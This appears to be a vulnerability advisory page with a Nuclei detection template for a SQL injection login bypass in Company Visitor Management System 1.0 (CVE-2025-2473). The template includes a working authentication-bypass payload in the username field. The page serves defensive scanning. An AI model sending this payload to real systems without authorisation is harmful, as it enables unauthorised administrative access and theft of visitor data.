Company Visitor Management System 1.0 - SQL Injection

criticalseverity

10CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

Company Visitor Management System 1.0 contains a SQL injection vulnerability via the login page in the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

Impact

Unauthenticated attackers can bypass authentication and execute arbitrary SQL queries through the username parameter, potentially gaining administrative access and extracting sensitive visitor and company information.

Fix

Apply input validation patches or upgrade to a patched version that properly sanitizes SQL input.

How to confirm it

Send: POST /index.php
Positive when: contains "Admin user" and "Dashboard" and "CVMS" AND status 200

Run it with nuclei: nuclei -id CVE-2025-2473 -u <target>

The full check

id: CVE-2025-2473

info:
  name: Company Visitor Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    Company Visitor Management System 1.0 contains a SQL injection vulnerability via the login page in the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Unauthenticated attackers can bypass authentication and execute arbitrary SQL queries through the username parameter, potentially gaining administrative access and extracting sensitive visitor and company information.
  remediation: |
    Apply input validation patches or upgrade to a patched version that properly sanitizes SQL input.
  reference:
    - https://www.exploit-db.com/exploits/48884
    - https://packetstormsecurity.com/files/158476/Company-Visitor-Management-System-CVMS-1.0-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2473
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-2473
    epss-score: 0.0249
    epss-percentile: 0.84777
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,cvms,sqli,auth-bypass,cms,edb,packetstorm,vuln

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin%27+or+%271%27%3D%271%27%23&password={{rand_base(5)}}&login=

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Admin user'
          - 'Dashboard'
          - 'CVMS'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from